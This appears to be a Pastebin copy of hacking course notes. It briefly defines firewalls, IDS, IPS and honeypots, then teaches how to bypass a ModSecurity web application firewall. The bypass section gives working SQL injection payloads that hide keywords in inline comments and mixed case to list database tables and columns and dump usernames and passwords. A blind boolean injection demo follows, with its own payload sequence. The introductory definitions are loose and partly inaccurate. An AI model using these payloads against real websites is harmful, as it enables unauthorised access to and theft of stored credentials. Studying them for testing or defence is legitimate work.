Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- SESSION 12
- ============
- INTRODUCTION TO FIREWALLS , IDS , IPS
- ======================================
- FIREWALLS
- ==========
- A firewall is a component which is used to filter the incoming and outgoing OR the inbound and outbound rules of a particular network. A firewall is having a database of signatures for the data packets moving inside or outside of a Network. The data packets moving in a Network Traffic having a malicious content can be blocked by a firewall according to the rule sets created by a Network Administrator.
- TYPES OF FIREWALLS
- ===================
- 1. Softwares Based Firewalls : These are the firewalls which is in the form of a application or a software which is having a rulesets of Inbound and Outbound Traffic coming from a Network. Eg. Windows Firewalls , LInux Firewalls - IP Tables.
- 2. Hardware Based Firewalls : A hardware based firewall is a peripheral which is having a system box with a processor and giving us a Configuration Panel and having more advanced features from a Software Based Firewalls.
- Eg. Juniper, Sophos, Endian etc.
- IDS
- ===
- IDS stands Intrusion DEtection System, it is a software or a hardware based program which detects every suspicious activity and create a log for it. It can also create the logs and send immediately to the Network Administrator so that they can find out that there is a Intruder in our network.
- It can be determined in different types such as NIDS (Network IDS), HIDS (Host IDS), WIDS(Wireless IDS) etc
- IPS
- ===
- IPS stands for Intrusion Prevention System, it acts and works by preventing the intruders which have been doing malicious and illegal activities in the Nretwork or with there clients immediately.
- EG. of IDS and IPS - SNORT etc.
- HONEYPOTS
- =========
- A honeypot is a attracting and luring technique to fetch and traps a Hacker, Attacker or a victim which can be a WEb Application, a Network System or a Access Point(Wireless Connection) which seems like absolutely normal but is created to trap the Attackers.
- ------------------------------------------------------------------
- MISCOFIGURED WAF
- =================
- INTRDUCTION TO WAF - A web application firewall is just like a network firewall works with the rulesets of inbound and outbound but not for a network, and works for a web application or a web site. A WAF filters the HTTP, HTTPS traffic along with the communication handeling done by TCP/UDP and also works with some advanced mitigation programs like securing OWASP Top 10.
- FOR EG . MOD SECURITY
- ----------------------------------------------------
- INSTALLING AND CONFIGURING MOD SECURITY WAF (JUST FOR REFERENCE)
- ================================================================
- OS - UBUNTU 14.04
- Mod Security WAF
- ------------------------------------------------------------------------------------------
- BYPASSING MOD WAF
- ==================
- union select
- /*!uNiOn*/ /*!SelEcT*/
- /*! > STARTING
- */ > ENDING
- Steps :-
- = Finding GET Method.
- = Generating SQL Syntax Error by (‘)
- = To check the number of columns by ORDER BY.
- = Getting Vulnerable Columns UNION SELECT.
- = Getting a error in finding out the Vulnerable Columns.
- Inline Executable Comments -
- query sanjeev
- start - /*!
- end - */
- with Inline Executable Comments - /*!sanjeev*/
- Changing the Case Sensitive things
- union select > uNiOn SeLECt
- Inline Executable Comments
- ---------------------------
- Union - /*!UniOn*/
- Select - /*!SelECt*/
- But these will only work if the DB version is less than 6. The version is always be in Decimal Notation, we can write them by removing the period (.) also. Eg. 5.00.00 -> 50000
- So for finding out that the Inline Comments can work or not, we have to put the Database Version with Union Select like :
- = php?id=1' /*!50000UniOn*/ /*!50000SelECt*/ 1,2--+
- = To get the database and version :
- /*!50000UniOn*/ /*!50000SelECt*/ database(),version()--+
- = To get the table name from information_schema :
- /*!50000UniOn*/ /*!50000SelECt*/ 1,table_name from /*!50000Information_schame.tables*/--+
- = To get the column name from users table :
- /*!50000UniOn*/ /*!50000SelECt*/ 1,column_name from /*!50000Information_schame.columns*/ where table_name="users"--+
- = To get the data:
- /*!50000UniOn*/ /*!50000SelECt*/ 1,/*!50000Group_concat(User_id,Users,Password)*/ from users--+
- --------------------
- BLIND BASED SQL INJECTION
- ==========================
- Blind Based sql injection is a tyupe of attack vector of sql injection which doesn't gives us any SQL Syntax Error, but can be possibly done.
- If there is some data in the web qapplication, it will show the data, else it will reload the same page.
- STEPS
- =====
- 1. Finding the GET Method
- 2. Finding the vulnerability by (')
- 3. Finding the number of columns in the database by doing ORDER BY in any ID in which we get Data.
- 4. Finding the Vulnerable column by Union Select.
- 5. Same steps further as Union Based SQL Injection.
- Demo of Blind Based Boolean
- ============================
- 1
- 1'
- 1' and 1=0 # ---> False
- 1' and 1=1 # ---> True
- 1' and 1=0 order by 1 # --> No Result ---> Generic error
- 1' and 1=1 order by 1 # --> Result --> normal result
- 1' and 1=0 order by 2 # --> No result
- 1' and 1=1 order by 2 # ---> Result
- 1' and 1=0 order by 3 # ---> No Result
- 1' and 1=1 order by 3 # ---> No Result ---> True ---> there are 2 number of columns
- 1' and 1=0 union select 1,2 #
- 1' and 1=1 union select 1,2 #
- and so on.
- TASK
- =====
- 1. PoC on Blind Based SQL Injection .
- 2. List of 10 WAF.
- WAF ARTICLE : http://www.tamilbotnet.com/2016/06/sql-injection-web-application-firewall-bypassing-in-tamil.html
Add Comment
Please, Sign In to add comment
